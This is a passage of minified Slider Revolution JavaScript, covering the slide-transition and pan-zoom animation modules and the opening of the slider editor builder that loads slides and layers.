0!==i.shadowCanvas)for(s=0;s<a.col;s++)for(i.SLOT.SX=i.SLOT.OW*s,i.SLOT.tw=i.SLOT.OW*(s+.5),i.SLOT.c.wd=i.mDIM.width-(i.SLOT.tw+i.SLOT.DX+i.SLOT.OW),i.SLOT.c.wd=i.SLOT.c.wd<0?i.SLOT.c.wd:0,i.SLOT.DW=i.SLOT.SW=i.SLOT.OW+i.SLOT.c.wd,o=0;o<a.row;o++){S.save();var n=-Math.PI/180*l[c].r,p=0!==a.r?Math.cos(n)*l[c].sx:l[c].sx,u=0!==a.r?Math.cos(n)*l[c].sy:l[c].sy,R=0!==a.r?Math.sin(n)*l[c].sx:0,V=0!==a.r?Math.sin(n)*-l[c].sy:0;i.SLOT.SY=i.SLOT.OH*o,i.SLOT.th=i.SLOT.OH*(o+.5),t.transitions[r.effect]&&t.transitions[r.effect].beforeDraw&&t.transitions[r.effect].beforeDraw(e,S,l[c],i),a.m&&(S.beginPath(),S.rect(i.SLOT.OW*s,i.SLOT.OH*o,i.SLOT.OW,i.SLOT.OH),S.clip()),S.transform(p,R,V,u,i.SLOT.tw+l[c].x,i.SLOT.th+l[c].y),S.globalAlpha=Math.max(0,l[c].o),i.SLOT.c.hd=i.mDIM.height-(i.SLOT.th+i.SLOT.DY+i.SLOT.OH),i.SLOT.c.hd=i.SLOT.c.hd<0?i.SLOT.c.hd:0,i.SLOT.DH=i.SLOT.SH=i.SLOT.OH+i.SLOT.c.hd,i.SLOT.SW>1&&i.SLOT.SH>1&&S.drawImage(i.shadowCanvas,i.SLOT.SX,i.SLOT.SY,i.SLOT.SW,i.SLOT.SH,i.SLOT.DX,i.SLOT.DY,i.SLOT.DW,i.SLOT.DH),S.restore(),t.transitions[r.effect]&&t.transitions[r.effect].afterDraw&&t.transitions[r.effect].afterDraw(e,S,l[c],i,{csx:p,csy:u,ssx:R,ssy:V}),c++}void 0!==r.d3&&r.d3.su&&t.transitions.d3.ticker(r.d3,i,r.direction),i.currentState="animating"},onComplete:function(){t.slideAnimFinished(e,i,r)}});if(a.col*a.row<2&&(a.f="start"),0!==a.zIndex&&void 0!==a.zIndex&&p.add(tpGS.gsap.set(r.slide,{zIndex:parseInt(a.zIndex,0)}),0),a.m="false"!=a.m&&!1!==a.m,"in"===r.direction){for(s=0;s<n;s++)l[s]={x:t.SATools.getOffset(a.x,a.m?i.SLOT.OW:i.mDIM.width,r.sdir,s),y:t.SATools.getOffset(a.y,a.m?i.SLOT.OH:i.mDIM.height,r.sdir,s),o:t.SATools.getSpecialValue(a.o,s,r.sdir),sx:t.SATools.getSpecialValue(a.sx,s,r.sdir),sy:t.SATools.getSpecialValue(a.sy,s,r.sdir),r:0!==a.r?t.SATools.getSpecialValue(a.r,s,r.sdir):0};p.add(tpGS.gsap.to(l,a.dur,{o:1,sx:1,sy:1,r:0,x:0,y:0,ease:a.e,stagger:{amount:"nodelay"===a.f?0:a.ms/a.stasec,grid:[a.col,a.row],from:"nodelay"===a.f?"start":a.f}}),r.delay),void 0!==r.d3&&p.add(t.transitions.d3.cubeTL(e,r.d3,i,"in"),0),t.transitions.filter.extendTimeLine(p,r.filter,i)}else{for(s=0;s<n;s++)l[s]={x:0,y:0,o:1,sx:1,sy:1,r:0};p.add(tpGS.gsap.to(l,a.dur,{o:function(e){return t.SATools.getSpecialValue(a.o,e,r.sdir)},sx:function(e){return t.SATools.getSpecialValue(a.sx,e,r.sdir)},sy:function(e){return t.SATools.getSpecialValue(a.sy,e,r.sdir)},r:0!==a.r&&void 0!==a.r?function(e){return t.SATools.getSpecialValue(a.r,e,r.sdir)}:0,x:function(e){return t.SATools.getOffset(a.x,a.m?i.SLOT.OW:i.mDIM.width,r.sdir,e)*(a.reversed?-1:1)},y:function(e){return t.SATools.getOffset(a.y,a.m?i.SLOT.OH:i.mDIM.height,r.sdir,e)*(a.reversed?-1:1)},ease:a.e,stagger:{amount:"nodelay"===a.f?0:a.ms/a.stasec,grid:[a.col,a.row],from:"nodelay"===a.f?"start":a.f}}),r.delay+(void 0!==a.outdelay?a.outdelay:0)),void 0!==r.d3&&p.add(t.transitions.d3.cubeTL(e,r.d3,i,"out"),0)}t.transitions[r.effect]&&t.transitions[r.effect].extendTimeLine&&t.transitions[r.effect].extendTimeLine(e,p,l,a,r,i.mDIM),_R_is_Editor?RVS.TL[RVS.S.slideId].slide.add(p,0):t[e].mtl.add(p,r.delay)}});var i=function(e,i){return void 0!==i&&t.isNumeric(i)?parseFloat(i,0):null==i||"default"===i||"d"===i?e:i},a=function(e,t,i,a,r,s){var o={};return o[r]=Math.ceil(a.width/t),o[s]=(_R_is_Editor,Math.ceil(a.height/i)),o},r=function(e){return null==e||0===e||NaN===e?1:e},s=function(e,a){_R_is_Editor||(t[e].duringslidechange=!0);var s,o=_R_is_Editor?-1:"arrow"==t[e].sc_indicator?void 0===t[e].sc_indicator_dir?t[e].sdir:t[e].sc_indicator_dir:t[e].sdir,l=!!_R_is_Editor||void 0!==t[e].pr_next_bg&&t[e].pr_next_bg.length>0&&void 0!==t[e].pr_next_bg[0],d=!!_R_is_Editor||void 0!==t[e].pr_active_bg&&t[e].pr_active_bg.length>0&&void 0!==t[e].pr_active_bg[0],c=_R_is_Editor?RVS.SBGS[RVS.S.slideId].n:l?t[e].sbgs[t[e].pr_next_bg[0].dataset.key]:void 0,p=_R_is_Editor?RVS.SBGS[RVS.S.slideId].c:d?t[e].sbgs[t[e].pr_active_bg[0].dataset.key]:void 0;o=1===o?-1:1,_R_is_Editor||(delete t[e].sc_indicator,delete t[e].sc_indicator_dir),s=jQuery.extend(!0,{},function(e,a,s){var o=void 0!==t.transitions[a.anim.e]&&void 0!==t.transitions[a.anim.e].getBasic?t.transitions[a.anim.e].getBasic():t.getBasic(),n="";o.out=null==o.out?{}:o.out,o.out.reversed=void 0===a.out&&(void 0===o.out.reversed||o.out.reversed);void 0!==a.iw&&parseInt(a.iw,0),void 0!==a.ow&&parseInt(a.ow,0);for(var l in o.attr)n=o.attr[l],o.in[n]=i(o.in[n],a.in[n]),o.out[n]=o.out.reversed?o.in[n]:void 0===a.out?o.out[n]:i(o.out[n],a.out[n]);return o.filter=void 0!==a.filter?jQuery.extend(!0,a.filter,a.filter):o.filter,t.transitions[a.anim.e]&&t.transitions[a.anim.e].updateAnim&&(o=t.transitions[a.anim.e].updateAnim(e,o,s)),o.e=a.anim.e,void 0!==o.in&&(o.in.col="random"===o.in.col?tpGS.gsap.utils.random(1,10,1):r(o.in.col),o.in.row="random"===o.in.row?tpGS.gsap.utils.random(1,10,1):r(o.in.row)),void 0!==o.out&&(o.out.col="random"===o.out.col?tpGS.gsap.utils.random(1,10,1):r(o.out.col),o.out.row="random"===o.out.row?tpGS.gsap.utils.random(1,10,1):r(o.out.row)),o}(e,a,o)),void 0!==c.random&&void 0!==t.SLTR&&void 0!==p&&(delete p.help_canvas,delete p.help_ctx),s.ms=i(void 0,void 0===a.anim.ms?1e3:a.anim.ms),s.f=i(void 0,a.anim.f),s.p=i(void 0,a.anim.p),s.d=i(void 0,a.anim.d),s.o=a.anim.o,void 0!==a.d3&&(a.d3.t=void 0!==a.d3.t&&0!==a.d3.t&&a.d3.t,a.d3.su="true"==a.d3.su||1==a.d3.su,a.d3.su&&(a.d3.smi=void 0===a.d3.smi?0:parseFloat(a.d3.smi),a.d3.sl=void 0===a.d3.sl?1:parseFloat(a.d3.sl),a.d3.sma=void 0===a.d3.sma?.5:parseFloat(a.d3.sma),a.d3.sc=void 0===a.d3.sc?"0,0,0":tpGS.gsap.utils.splitColor(a.d3.sc).join(",")),s.p="none",void 0!==s.in.row&&void 0!==s.in.col&&s.in.row*s.in.col>200&&(s.filter=void 0)),s.in.sec=void 0===s.in.sec?1e3:s.in.sec,s.in.stasec=void 0===s.in.stasec?void 0===s.d?1500:100*s.d:s.in.stasec,s.in.ms="default"===s.ms||"d"===s.ms?s.in.ms:"random"===s.ms?Math.round(1e3*Math.random()+300):null!=s.ms?parseInt(s.ms,0):s.in.ms,s.out.ms=s.in.ms,void 0!==s.filter&&(s.filter.ms=s.in.ms,s.filter.sec=s.in.sec,s.filter.e=void 0===s.filter.e||"default"===s.filter.e?s.in.e:s.filter.e),s.in.f=void 0===s.f||"default"===s.f||"d"===s.f?s.in.f:s.f,s.in.f="slidebased"===s.in.f?1==o?"start":"end":"oppslidebased"===s.in.f?1===o?"end":"start":s.in.f,s.out.f=s.in.f,s.out=jQuery.extend(!0,{},s.in,s.out),s.in.eng=s.out.eng=a.anim.eng,void 0!==s.out.eng&&null==t[s.out.eng]&&(s.out.o=0,s.in.o=0,s.in.ms=s.out.ms=1e3,s.in.eng=s.out.eng="animateCore"),void 0!==s.p&&"none"!==s.p&&(s.in.bg="dark"===s.p?"#000":"light"===s.p?"#fff":"transparent",s.out.delay="none"!==s.p?function(e,t){return e/2.5}:0,1===s.out.o&&0===s.out.x&&0===s.out.y&&(s.out.o=0)),"forceinout"===s.o?(s.in.zIndex=20,s.out.zIndex=10):"outin"!==s.o&&(1!==s.in.o||0!==s.in.x||0!==s.in.y||void 0===a.out||1===s.out.o&&0===s.out.x&&0===s.out.y)||(s.in.zIndex=10,s.out.zIndex=20),c.bgvid.length>0&&(s.in=S(e,s.in,c,"in")),d&&void 0!==p.bgvid&&p.bgvid.length>0&&(s.out=S(e,s.out,p,"out")),void 0!==s.out&&(s.out.simplify||s.in.simplify)&&(s.out=n(s.out)),s.in.simplify&&(s.in=n(s.in)),_R_is_Editor||requestAnimationFrame(function(){t.generalObserver(t.ISM,!0)}),s.in.eng=void 0===s.in.eng?"animateCore":s.in.eng,s.out.eng=void 0===s.out.eng?"animateCore":s.out.eng,d&&!0!==s.out.skip&&t[s.out.eng](e,p,s.out,{effect:s.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,direction:"out",delay:0,bgColor:s.in.bg,sdir:o,filter:void 0,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0}),!0!==s.in.skip&&t[s.in.eng](e,c,s.in,{effect:s.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].n.sbg:t[e].pr_next_slide,direction:"in",delay:d?"function"==typeof s.out.delay?s.out.delay(s.in.ms/1e3,s.out.row*s.out.col):s.out.delay:s.in.delay,BG:p,outslide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,sdir:o,filter:s.filter,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0})},o=function(e,i,a){var r=e.height/e.width;if(a.ratio=a.conth/a.contw,a.ratio<r&&"contain"===i.bgfit||a.ratio>r&&"cover"===i.bgfit)a.height=e.width*a.ratio;else if(a.ratio>r&&"contain"===i.bgfit||a.ratio<r&&"cover"===i.bgfit)a.width=e.width*r/a.ratio;else if(a.ratio!==r||"contain"!==i.bgfit&&"cover"!==i.bgfit){var s=i.bgfit.split(" ");1===s.length&&(s[1]=s[0]),a.width="auto"===s[0]?a.contw:e.width*(parseInt(s[0],0)/100),a.height="auto"===s[1]?a.conth:a.width*a.ratio,i.usepattern=!0}else a.width=e.width;var o=function(e,i,a){return 1===(a=a.split(" ")).length&&(a[1]=a[0]),{x:"center"===a[0]||"50%"===a[0]?(e.width-i.width)/2:"left"===a[0]?0:"right"===a[0]?e.width-i.width:t.isNumeric(a[0])?0:a[0].indexOf("%")>=0?parseInt(a[0],0)/100*e.width-parseInt(a[0],0)/100*i.width:parseInt(a[0],0),y:"center"===a[1]||"50%"===a[1]?(e.height-i.height)/2:"top"===a[1]?0:"bottom"===a[1]?e.height-i.height:t.isNumeric(a[1])?0:a[1].indexOf("%")>=0?parseInt(a[1],0)/100*e.height-parseInt(a[1],0)/100*i.height:parseInt(a[1],0)}}(e,a,i.bgposition);return a.x=o.x,a.y=o.y,a},n=function(e){return e.o=0,e.r=0,e.row=1,e.col=1,e.x=0,e.y=0,e.sx=1,e.sy=1,e},l=function(e){return e="false"!==e&&!1!==e&&"off"!==e&&void 0!==e&&0!==e&&-1!==e},d=function(e){var t=e.toString(16);return 1==t.length?"0"+t:t},S=function(e,i,a,r){return i.skip=!1,"in"===r?a.isHTML5?(a.bgvid[0].style.display="none",t.resetVideo(a.bgvid,e),a.animateDirection="in",a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),t.playVideo(a.bgvid,e)):(t[e].videos[a.bgvid[0].id].pauseCalled=!1,i.waitToSlideTrans=t[e].videos[a.bgvid[0].id].waitToSlideTrans,!0!==a.poster?(t.resetVideo(a.bgvid,e),t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,!0!==i.waitToSlideTrans&&t.playVideo(a.bgvid,e,!0),tpGS.gsap.fromTo(a.bgvid,i.ms/i.sec,{zIndex:30,display:"block",opacity:0},{opacity:1,zIndex:30,display:"block"}),a.loadobj.bgColor=!0,a.bgcolor="#000",i.simplify=!0):(t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e),a.bgvid[0].style.display="none",a.bgvid[0].style.zIndex=0,a.bgvid[0].style.opacity=0)):"out"===r&&(a.isHTML5?(a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),window.requestAnimationFrame(function(){tpGS.gsap.to(a.bgvid,.1,{zIndex:0,display:"none"})})):(t.stopVideo(a.bgvid,e,!0),!0!==a.poster&&(a.loadobj.bgColor=!0,a.bgcolor="#000"))),i},c=function(e,t,i,a){return Math.sqrt(Math.pow(e-i,2)+Math.pow(t-a,2))},p=function(e,t){var i=t+Math.PI/2;return{x1:e.x,y1:e.y,x2:e.x+100*Math.cos(i),y2:e.y+100*Math.sin(i)}},u=function(e,t){var i=e.y2-e.y1,a=e.x1-e.x2,r=i*e.x1+a*e.y1,s=t.y2-t.y1,o=t.x1-t.x2,n=s*t.x1+o*t.y1,l=i*o-s*a;return 0!==l&&{x:Math.round((o*r-a*n)/l*100)/100,y:Math.round((i*n-s*r)/l*100)/100}};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.slideanims={loaded:!0,version:"6.6.0"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),function(e){"use strict";window._R_is_Editor?RVS._R=void 0===RVS._R?{}:RVS._R:window._R_is_Editor=!1,jQuery.fn.revolution=jQuery.fn.revolution||{};var t=_R_is_Editor?RVS._R:jQuery.fn.revolution;jQuery.extend(!0,t,{bgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].module.width},bgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?t[e].carousel.slide_height:t[e].module.height},getPZSides:function(e,t,i,a,r,s,o){var n=e*i,l=t*i,d=Math.abs(a-n),S=Math.abs(r-l),c=new Object;return c.l=(0-s)*d,c.r=c.l+n,c.t=(0-o)*S,c.b=c.t+l,c.h=s,c.v=o,c},getPZCorners:function(e,i,a,r){var s=e.bgposition.split(" ")||"center center",o="center"==s[0]?"50%":"left"==s[0]||"left"==s[1]?"0%":"right"==s[0]||"right"==s[1]?"100%":s[0],n="center"==s[1]?"50%":"top"==s[0]||"top"==s[1]?"0%":"bottom"==s[0]||"bottom"==s[1]?"100%":s[1];o=parseInt(o,0)/100||0,n=parseInt(n,0)/100||0;var l=new Object;return l.start=t.getPZSides(r.start.width,r.start.height,r.start.scale,i,a,o,n),l.end=t.getPZSides(r.start.width,r.start.height,r.end.scale,i,a,o,n),l},getPZValues:function(e){var t=e.panzoom.split(";"),i={duration:10,ease:"none",scalestart:1,scaleend:1,rotatestart:.01,rotateend:0,blurstart:0,blurend:0,offsetstart:"0/0",offsetend:"0/0"};for(var a in t)if(t.hasOwnProperty(a)){var r=t[a].split(":"),s=r[0],o=r[1];switch(s){case"d":i.duration=parseInt(o,0)/1e3;break;case"e":i.ease=o;break;case"ss":i.scalestart=parseInt(o,0)/100;break;case"se":i.scaleend=parseInt(o,0)/100;break;case"rs":i.rotatestart=parseInt(o,0);break;case"re":i.rotateend=parseInt(o,0);break;case"bs":i.blurstart=parseInt(o,0);break;case"be":i.blurend=parseInt(o,0);break;case"os":i.offsetstart=o;break;case"oe":i.offsetend=o}}return i.offsetstart=i.offsetstart.split("/")||[0,0],i.offsetend=i.offsetend.split("/")||[0,0],i.rotatestart=0===i.rotatestart?.01:i.rotatestart,e.panvalues=i,e.bgposition="center center"==e.bgposition?"50% 50%":e.bgposition,i},pzCalcL:function(e,i,a){var r,s,o,n,l,d,S=void 0===a.panvalues?jQuery.extend(!0,{},t.getPZValues(a)):jQuery.extend(!0,{},a.panvalues),c=S.offsetstart,p=S.offsetend,u={start:{width:e,height:_R_is_Editor?e/a.loadobj.width*a.loadobj.height:e/a.owidth*a.oheight,rotation:Math.PI/180*S.rotatestart,rotationV:S.rotatestart,scale:S.scalestart,transformOrigin:"0% 0%"},end:{rotation:Math.PI/180*S.rotateend,rotationV:S.rotateend,scale:S.scaleend}};S.scalestart,a.owidth,a.oheight,S.scaleend,a.owidth,a.oheight;return u.start.height<i&&(d=i/u.start.height,u.start.height=i,u.start.width=u.start.width*d),.01===S.rotatestart&&0===S.rotateend&&(delete u.start.rotation,delete u.end.rotation),r=t.getPZCorners(a,e,i,u),c[0]=parseFloat(c[0])+r.start.l,p[0]=parseFloat(p[0])+r.end.l,c[1]=parseFloat(c[1])+r.start.t,p[1]=parseFloat(p[1])+r.end.t,s=r.start.r-r.start.l,o=r.start.b-r.start.t,n=r.end.r-r.end.l,l=r.end.b-r.end.t,c[0]=c[0]>0?0:s+c[0]<e?e-s:c[0],p[0]=p[0]>0?0:n+p[0]<e?e-n:p[0],c[1]=c[1]>0?0:o+c[1]<i?i-o:c[1],p[1]=p[1]>0?0:l+p[1]<i?i-l:p[1],u.start.x=c[0],u.start.y=c[1],u.end.x=p[0],u.end.y=p[1],u.end.ease=S.ease,u},pzDrawShadow:function(e,i,a){("animating"===i.currentState||null==i.panFake||i.pzLastFrame)&&(i.pzLastFrame=!1,i.shadowCTX.clearRect(0,0,i.shadowCanvas.width,i.shadowCanvas.height),i.shadowCTX.save(),void 0!==a.rotation?i.shadowCTX.transform(Math.cos(a.rotation)*a.scale,Math.sin(a.rotation)*a.scale,Math.sin(a.rotation)*-a.scale,Math.cos(a.rotation)*a.scale,a.x,a.y):i.shadowCTX.transform(a.scale,0,0,a.scale,a.x,a.y),i.shadowCTX.drawImage(i.loadobj.img,0,0,a.width,a.height),i.shadowCTX.restore()),"animating"!==i.currentState?null!=i.panFake?(i.panFake.visible||(i.panFake.visible=!0,i.panFake.img.style.opacity=1,i.canvas.style.opacity=0),tpGS.gsap.set(i.panFake.img,{width:a.width,height:a.height,force3D:!0,x:a.x,y:a.y,transformOrigin:"0% 0%",rotationZ:a.rotationV+"deg",scale:a.scale}),void 0!==a.blur&&(i.panFake.img.style.filter=0===a.blur?"none":"blur("+a.blur+"px)")):(t.updateSlideBGs(e,a.slidekey,i,!0),void 0!==a.blur&&(i.canvas.style.filter=0===a.blur?"none":"blur("+a.blur+"px)")):(void 0!==i.panFake&&!1!==i.panFake.visible&&(i.panFake.visible=!1,i.panFake.img.style.opacity=0,i.canvas.style.opacity=1,i.panFake.img.style.filter="none"),void 0!==a.blur&&i.canvasFilter?i.canvasFilterBlur=a.blur:i.canvas.style.filter=0===a.blur?"none":"blur("+a.blur+"px)")},startPanZoom:function(e,i,a,r,s,o){var n=_R_is_Editor?e:e.data();if(void 0!==n.panzoom&&null!==n.panzoom){var l=_R_is_Editor?n:t[i].sbgs[o];_R_is_Editor||"carousel"!==t[i].sliderType||(t[i].carousel.justify&&void 0===t[i].carousel.slide_widths&&t.setCarouselDefaults(i,!0),t[i].carousel.justify||(void 0===t[i].carousel.slide_width&&(t[i].carousel.slide_width=!0!==t[i].carousel.stretch?t[i].gridwidth[t[i].level]*(0===t[i].CM.w?1:t[i].CM.w):t[i].canv.width),void 0===t[i].carousel.slide_height&&(t[i].carousel.slide_height=!0!==t[i].carousel.stretch?t[i].gridheight[t[i].level]*(0===t[i].CM.w?1:t[i].CM.w):t[i].canv.height)));var d,S=t.getmDim(i,r,l),c=t.pzCalcL(S.width,S.height,n);l.pzAnim=c,_R_is_Editor||(t[i].panzoomTLs=void 0===t[i].panzoomTLs?{}:t[i].panzoomTLs,t[i].panzoomBGs=void 0===t[i].panzoomBGs?{}:t[i].panzoomBGs,void 0===t[i].panzoomBGs[r]&&(t[i].panzoomBGs[r]=e),d=t[i].panzoomTLs[r]),a=a||0,void 0!==d&&(d.pause(),d.kill(),d=void 0),d=tpGS.gsap.timeline({paused:!0}),n.panvalues.duration=NaN===n.panvalues.duration||void 0===n.panvalues.duration?10:n.panvalues.duration,_R_is_Editor||void 0===n||void 0===l||(l.panvalues=n.panvalues),void 0!==l&&(void 0===l.shadowCanvas&&(l.shadowCanvas=document.createElement("canvas"),l.shadowCTX=l.shadowCanvas.getContext("2d"),l.shadowCanvas.style.background="transparent",l.shadowCanvas.style.opacity=1),l.shadowCanvas.width!==S.width&&(l.shadowCanvas.width=S.width),l.shadowCanvas.height!==S.height&&(l.shadowCanvas.height=S.height),c.slideindex=r,c.slidekey=_R_is_Editor?void 0:o,c.start.slidekey=c.slidekey,t.pzDrawShadow(i,l,c.start),c.end.onUpdate=function(){t.pzDrawShadow(i,l,c.start)},l.panStart=jQuery.extend(!0,{},c.start),void 0===n.panvalues.blurstart||void 0===n.panvalues.blurend||0===n.panvalues.blurstart&&0===n.panvalues.blurend||(c.start.blur=n.panvalues.blurstart,c.end.blur=n.panvalues.blurend),(!_R_is_Editor&&void 0===c.start.blur&&!t.isFF||window.isSafari11&&t.ISM)&&(l.panFake=void 0===l.panFake?{img:l.loadobj.img.cloneNode(!0)}:l.panFake,void 0!==l.panFake&&(!0!==l.panFake.appended&&(l.panFake.appended=!0,l.sbg.appendChild(l.panFake.img),l.panFake.img.style.position="absolute",l.panFake.img.style.display="block",l.panFake.img.style.zIndex=0,l.panFake.img.style.opacity=0,l.panFake.img.style.top="0px",l.panFake.img.style.left="0px"),l.panFake.img.width=c.start.width,l.panFake.img.height=c.start.height)),d.add(tpGS.gsap.to(c.start,n.panvalues.duration,c.end),0),d.progress(a),"play"!==s&&"first"!==s||d.play(),_R_is_Editor?RVS.TL[RVS.S.slideId].panzoom=d:t[i].panzoomTLs[r]=d)}}}),window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.panzoom={loaded:!0,version:"6.6.0"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),
/*!
 * REVOLUTION 6.0.0 EDITOR BUILDER JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
RVS.S.layerTypes=["text","button","image","video","audio","svg","object","shape","row","column","group"],RVS.S.nextscreen="none",RVS.S.prevscreen="n",RVS.S.uniqueIds=[],RVS.S.uniqueId=0,RVS.S.selLayerTypes={row:!1,column:!1,group:!1,text:!1,image:!1,shape:!1,object:!1,button:!1,audio:!1,video:!1,bottom:!1,top:!1,middle:!1},RVS.S.selElements=[],RVS.selLayers=[],RVS.screen="d",RVS.TL={currentTime:0,c:{}},RVS.C.rZone={top:"",middle:"",bottom:""},RVS.S.slideTrans=0,RVS.S.emptyLayerObj={},function(){var e,t;RVS.F.initAdmin(),RVS.SLIDER={},RVS.zoom=1,RVS.F.loadBuilder=function(e){var t=void 0!==e&&void 0!==e.id&&e.id;!1!==t&&RVS.F.setEditorUrl(t),RVS.V.ignoreAutoStart=!0,jQuery("#builderView").length>0&&jQuery("#builderView").remove(),RVS.F.ajaxRequest("load_builder",{},function(e){jQuery("#wpbody").append(e.data),!1!==t&&RVS.F.loadSlider({id:t})})},RVS.F.loadSlider=function(e){RVS.C.slideList=jQuery("#slidelist"),RVS.C.theRightToolbar=jQuery("#the_right_toolbar_inner"),RVS.C.theEditor=jQuery("#the_editor"),RVS.S.ulInner=jQuery("#rev_slider_ul_inner"),(void 0!==e.id&&""!==e.id||void 0!==e.alias&&""!==e.alias)&&(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.loadingcontent}),RVS.F.ajaxRequest("get_full_slider_object",void 0!==e.alias&&""!==e.alias?{alias:e.alias}:{id:e.id},function(e){if(void 0===e.id)RVS.F.showWaitAMinute({fadeIn:200,text:RVS_LANG.redirectingtooverview}),RVS.F.backToOverview();else{if(RVS.F.showWaitAMinute({fadeIn:200,text:RVS_LANG.preparingdatas}),RVS.SLIDER.id=e.id,RVS.ENV.sliderID=e.id,e.slider_params.alias=e.alias,e.slider_params.title=e.title,r(e.slider_params),void 0===RVS.S.emptyLayerObj.shape)for(var t in RVS.S.layerTypes)RVS.S.emptyLayerObj[RVS.S.layerTypes[t]]=RVS.F.addLayerObj(RVS.S.layerTypes[t],void 0,!1,!0,!0);for(var s in e.slides)if(e.slides.hasOwnProperty(s)){let i=e.slides[s];for(t in i.params=void 0!==i.params&&Array.isArray(i.params)?void 0:RVS.F.expandSlide(i.params),i.layers)void 0!==i.layers[t].position&&null==i.layers[t].position.zIndex&&void 0!==i.layers[t].group&&void 0!==i.layers[t].group.groupOrder&&(i.layers[t].position.zIndex=i.layers[t].group.groupOrder,RVS.S.zIndexAtStartChanged=!0);void 0!==i.params&&void 0!==i.params.static&&(i.params.static.isstatic=!1),a({slideid:i.id,uid:i.id,slide:i.params,layers:i.layers})}i(e.static_slide),RVS.F.makeSlideListSortable(),RVS.F.makeSlideListScroll(),init(),RVS.F.showWaitAMinute({fadeOut:200,text:RVS_LANG.preparingdatas}),void 0===e.slider_params.layout?RVS.F.openNewGuide():void 0!==RVS.SLIDER.settings.skins&&!0===RVS.SLIDER.settings.skins.colorsAtStart&&setTimeout(RVS.F.openColorSkinApi(),500)}},void 0,!0,void 0,void 0,!0),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.loadingcontent}),s())},RVS.F.addOnsBasics=function(){for(var e in RVS.LIB.ADDONS)RVS.LIB.ADDONS.hasOwnProperty(e)&&(RVS.SLIDER.settings.addOns[e]=void 0===RVS.SLIDER.settings.addOns[e]?{enable:!1}:RVS.SLIDER.settings.addOns[e])};var i=function(e){var t=void 0!==e.params?RVS.F.addSlideObj():RVS.F.addSlideObj(e.slide);t.title=RVS_LANG.globalLayers,t.static.isstatic=!0,void 0!==e.params&&void 0!==e.params.static&&(t.static.overflow=void 0===e.params.static.overflow?"hidden":e.params.static.overflow,t.static.position=void 0===e.params.static.position?"front":e.params.static.position,t.static.lastEdited=void 0===e.params.static.lastEdited||"front"===e.params.static.lastEdited||e.params.static.lastEdited),e.id=void 0===e.id?RVS.ENV.sliderID:e.id,a({slideid:"static_"+e.id,uid:e.id,slide:t,layers:e.layers,order:999}),RVS.SLIDER.staticSlideId="static_"+e.id},a=function(e){e.layers=void 0===e.layers?{}:e.layers,e.slide=void 0===e.slide?{}:e.slide,RVS.SLIDER.slideIDs=void 0===RVS.SLIDER.slideIDs?[]:RVS.SLIDER.slideIDs;var t={slide:RVS.F.addSlideObj(e.slide),layers:{},id:e.uid};for(var i in e.layers)if(e.layers.hasOwnProperty(i)){var a=e.layers[i],r=RVS.F.addLayerObj(jQuery.extend(!0,jQuery.extend(!0,{},RVS.S.emptyLayerObj[a.type]),a));if(void 0===r)continue;"zone"===r.type&&"bottom"!==r.uid&&"middle"!==r.uid&&"top"!==r.uid||r&&(t.layers[r.uid]=r)}RVS.SLIDER[e.slideid]=t,RVS.SLIDER.slideIDs.push(e.slideid),RVS.S.slideId=e.slideid,RVS.F.addToSlideList({id:e.slideid,ignoreSort:!0})},r=function(e){e.layout&&e.layout.bg&&Array.isArray(e.layout.bg)&&e.layout.bg.length<=0&&delete e.layout.bg,RVS.SLIDER.settings=RVS.F.setSlider(e)},s=function(){RVS.C.undo=document.getElementById("undolist"),RVS.C.redo=document.getElementById("redolist"),RVS.C.vW=document.getElementById("builderView"),RVS.C.rb=jQuery("#rev_builder"),RVS.C.rb_tlw=jQuery("#rb_tlw"),RVS.C.the_cont=void 0===RVS.C.the_cont?jQuery("#the_container"):RVS.C.the_cont,RVS.C.the_cont[0].className="no_layers_selected",RVS.C.formCollectors=document.getElementsByClassName("form_collector"),RVS.C.simpleCollectors=[];var e=0;for(var t in RVS.C.formCollectors)RVS.C.formCollectors.hasOwnProperty(t)&&(""===RVS.C.formCollectors[t].id&&(RVS.C.formCollectors[t].id="form_collector_id_"+e),-1==RVS.C.formCollectors[t].className.indexOf("__inmodal")&&RVS.C.simpleCollectors.push(RVS.C.formCollectors[t]),RVS.C.formCollectors[t].className+=" "+RVS.C.formCollectors[t].dataset.type+"_forms",e++);for(var t in RVS.C.simpleCollectors)RVS.C.simpleCollectors.hasOwnProperty(t)&&RVS.C.theRightToolbar[0].appendChild(RVS.C.simpleCollectors[t]);RVS.F.initNavigation(),RVS.DOC.on("revertEasyInputs",function(e,t){RVS.F.updateEasyInputs({container:t,trigger:"init",path:"settings."})}),RVS.F.initialiseInputBoxes()};init=function(){RVS.F.generateAttachmentMetaData(),RVS.S.slideId=RVS.F.getEditorUrl(),""+RVS.S.slideId.indexOf("slider-")>=0&&(RVS.S.slideId=RVS.SLIDER.slideIDs[0],""+RVS.S.slideId.indexOf("static_")>0&&RVS.SLIDER.slideIDs.length>1&&(RVS.S.slideId=RVS.SLIDER.slideIDs[1])),RVS.F.initSliderBuilder(),RVS.F.initTimeLineModules(),RVS.F.initTimeLineConstruct(),RVS.F.initSlideBuilder(),RVS.F.initLayerTools(),RVS.F.initLayerActions(),RVS.F.initLayerBuilder(),RVS.F.initLayerListBuilder(),RVS.F.init